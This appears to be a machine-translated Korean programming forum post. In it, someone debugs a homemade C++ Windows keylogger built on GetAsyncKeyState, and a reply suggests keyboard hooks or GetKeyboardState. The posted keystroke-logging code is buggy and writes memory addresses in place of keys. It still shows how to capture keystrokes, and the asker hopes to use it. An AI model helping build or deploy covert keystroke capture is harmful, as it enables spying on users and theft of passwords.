그래서 오늘 밤에 작은 키로거를 작성하여 getAsyncKeyState에 대해 배우기로 결정했습니다. 내 로그를 파일에 쓰려고하지만 파일의 내용이 비어 있거나 임의의 메모리 주소를 내게 던졌습니다 (0x28fef0 전에). getAsyncKeyState가 Windows 7 x64에서 제대로 작동하지 않는다고 들었습니다. 사실입니까?getAsyncKeyState가 키 입력을 인식하지 못합니다.
이것은 꽤 심해지고 있습니다. 저는 오늘 밤이 프로그램을 실제로 사용할 수 있기를 희망했습니다.
while(1)
{
Sleep(20);
for(DWORD_PTR key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == HC_ACTION)
checkKey(key);
}
}
기능 정의
void checkKey(DWORD_PTR key)
{
ofstream out;
out.open("log.txt");
if (key==8)
out << "[del]";
if (key==13)
out << "n";
if (key==32)
out << " ";
if (key==VK_CAPITAL)
out << "[CAPS]";
if (key==VK_TAB)
out << "[TAB]";
if (key==VK_SHIFT)
out << "[SHIFT]";
if (key==VK_CONTROL)
out << "[CTRL]";
if (key==VK_PAUSE)
out << "[PAUSE]";
if (key==VK_ESCAPE)
out << "[ESC]";
if (key==VK_END)
out << "[END]";
if (key==VK_HOME)
out << "[HOME]";
if (key==VK_LEFT)
out << "[LEFT]";
if (key==VK_UP)
out << "[UP]";
if (key==VK_RIGHT)
out << "[RIGHT]";
if (key==VK_DOWN)
out << "[DOWN]";
if (key==VK_SNAPSHOT)
out << "[PRINT]";
if (key==VK_NUMLOCK)
out << "[NUM LOCK]";
if (key==190 || key==110)
out << ".";
if (key >=96 && key <= 105)
{
key -= 48;
out << &key; // had ampersand
}
if (key >=48 && key <= 59)
out << &key; // amp'd
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
out << &key; // amp;d
else
{
key = key +32;
out << &key; // amp'd
}
}
}
}
내가 심각하게이 문제로 난처한 상황에 빠진거야 어떤 도움을 크게 감상 할 수있다. 이 기능이 64 비트 시스템에서 다르게 작동하는 이유는 무엇입니까? 그것이 내가 가지고있는 유일한 상자라고 생각하면 32 비트로 실행하여 격리 된 문제인지 여부를 확인할 수 없습니다. 왜냐하면 나는 그것이 getAsyncKeyState와 관련되어 있고 내 코드 (빈 로그 파일을 컴파일하고 생성하는)가 아니라고 가정하기 때문에이 두 코드 스 니펫 만 포함했습니다.
전체 키보드의 상태 (모든 키)를 가져 오려면 'GetAsyncKeyState'를 여러 번 호출하지 마십시오. 대신'GetKeyboardState'를 호출하십시오. 그것은 훨씬 더 잘 수행 할 것입니다.그러나 키 로거의 경우 키보드 후크를 사용하거나'WM_KEYUP','WM_KEYDOWN' 등을 듣고 싶습니다. –